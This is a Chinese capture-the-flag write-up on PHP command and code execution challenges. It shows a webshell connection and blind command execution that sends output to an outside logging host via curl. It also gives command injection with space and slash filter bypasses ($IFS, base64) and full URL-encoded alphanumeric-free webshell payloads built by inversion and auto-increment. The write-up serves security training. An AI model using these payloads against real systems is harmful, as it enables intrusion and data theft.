【网络对抗演练】php 命令/代码执行漏洞
中国蚁剑的使用
首先在浏览器查看目标网站如下:
可以看到,目标网站接受一个叫做 shell 的 POST 字段,因此,我们只需要在中国蚁剑设定 URL 地址和连接密码为 shell 就可以测试连接了。
连接成功后,右键连接拿到虚拟终端,执行 cat /flag
就可以拿到 flag
的值为 flag{Have_a_g00d_time}
。
执行 whoami
即可查看当前的用户名为 www-data
。
BurpSuite 工具使用
将浏览器使用 Proxy SwitchyOmega
插件设置为用 localhost:8080
代理,那么浏览器的包会被 burpsuite
捕获。我们找到需要的包,将其发送给 Repeater
。
在 Repeater
上我们可以很好的和服务端交互。查看目标网站,接受的是 POST 字段,因此我们需要将请求方式修改为 POST(右键有修改选项)。然后填写 POST 表单。点击 send
即可拿到 flag
。
无回显命令执行
因为是无回显命令,因此,我们需要使用公网 IP 来接受数据。如下,使用 curl http://dt52tj.ceye.io/cat /flag
,就会将结果拿去访问该网站。
在该网站上,我们可以发现访问的地址如下,那么也就是拿到了 flag
。
命令执行
首先,查看 php 源码如下:
1 |
|
这个过滤条件还是很宽松的。首先,尝试使用 http://58.240.236.231:50103/?host=0;ls
输出的结果如下:
因此,我们使用 cat flag.txt
即可拿到 flag 的值。但是,由于空格符号被 ban 了,因此,我们使用 $IFS$9
来绕过空格。$IFS
在 Linux 下表示分隔符,单纯的 cat$IFSxxx
,解释器会将 IFSxxx
整体当作一个变量名。而 $9
表示当前 shell 进程的第九个参数的持有者,始终为空字符串。
payload 为:http://58.240.236.231:50103/?host=0;cat$IFS$9flag.txt
结果如下:
如果 flag 文件只存在于根目录下,那么我们需要使用 /flag
来定位它。但是 / 符号却被 ban 了,因此,可以使用 base64
来解决。
1 | $ echo "cat /flag" | base64 |
结果和上面相同。
无数字字母 webshell(1)
1 |
|
这个题目要求长度不超过 15,不能包含被 ban 掉的字符,并且字母数字的数量不能超过 6。因为没有 ban 掉 ~ 符号,因此可以考虑使用反码解决。
system(~);
本身占 10 个字符 我们的命令里只能 5 个字符。一般来说,是 cat /flag
,flag
用 *
替代,cat
用 nl
替代,刚好 15 字符。
输出的 1 是 flag
的内容,2 是 flag.sh
的内容。
无数字字母 webshell(2)
1 |
|
可以看到,在服务端 ban 掉了所有的数字和字母,并且还 ban 掉了 ~、^、?等符号,因此无法使用取反、异或和通配符等来解决。并且过滤了字符的种类,不能超过 13 种。因此,我们考虑使用自增来解决这个问题。
首先,构造出 $_POST[_]($_POST[__])
,这个部分的代码如下,和 PPT 上的基本相同:
1 |
|
又因为 cmd
字段是 print()
函数的参数,因此,我们可以先构造一个 _)
和 print(
构成封闭,然后我们的 payload
中省略最后的 );
,复用 print();
中的 );
。因此,最终我们的 payload 结构如下:
1 | _);$__=++$____;--$__;$____=((_/_).''){$__};$___=$____;++$____;$___=$____.$___;++$____;++$____;++$____;$___.=$____;++$____;$___.=$____;$___='_'.$___;${$___}{_}(${$___}{__} |
将其 URL 编码后如下:
1 | _)%3B%24__%3D%2B%2B%24____%3B--%24__%3B%24____%3D((_%2F_).'')%7B%24__%7D%3B%24___%3D%2B%2B%24____%3B%2B%2B%24____%3B%24___%3D%24____.%24___%3B%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%24___.%3D%24____%3B%2B%2B%24____%3B%24___.%3D%24____%3B%24___%3D'_'.%24___%3B%24%7B%24___%7D%7B_%7D(%24%7B%24___%7D%7B__%7D |
因为我们已经构造了一个 _POST[_]($POST[__])
语句,这表明此时 php
脚本可以接受 name=_
和 name=__
的两个表单数据,并且会执行 _(__);
。即当我们将 _
赋值为 system
,将 __
赋值为 cat /flag
时,会执行 system("cat /flag");
,拿到 /flag
中的数据。
由于这里接受的是 POST 请求字段,所以需要和题目二一样使用 BurpSuite
抓包后将请求方法修改为 POST,最终的构造如下:
最终 payload 为:
1 | cmd=_)%3B%24__%3D%2B%2B%24____%3B--%24__%3B%24____%3D((_%2F_).'')%7B%24__%7D%3B%24___%3D%2B%2B%24____%3B%2B%2B%24____%3B%24___%3D%24____.%24___%3B%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%24___.%3D%24____%3B%2B%2B%24____%3B%24___.%3D%24____%3B%24___%3D'_'.%24___%3B%24%7B%24___%7D%7B_%7D(%24%7B%24___%7D%7B__%7D&_=system&__=cat /flag |
flag 为(第一个 _
是 print(_);
输出的):
1 | flag{Y0u_ar4_0utstanding} |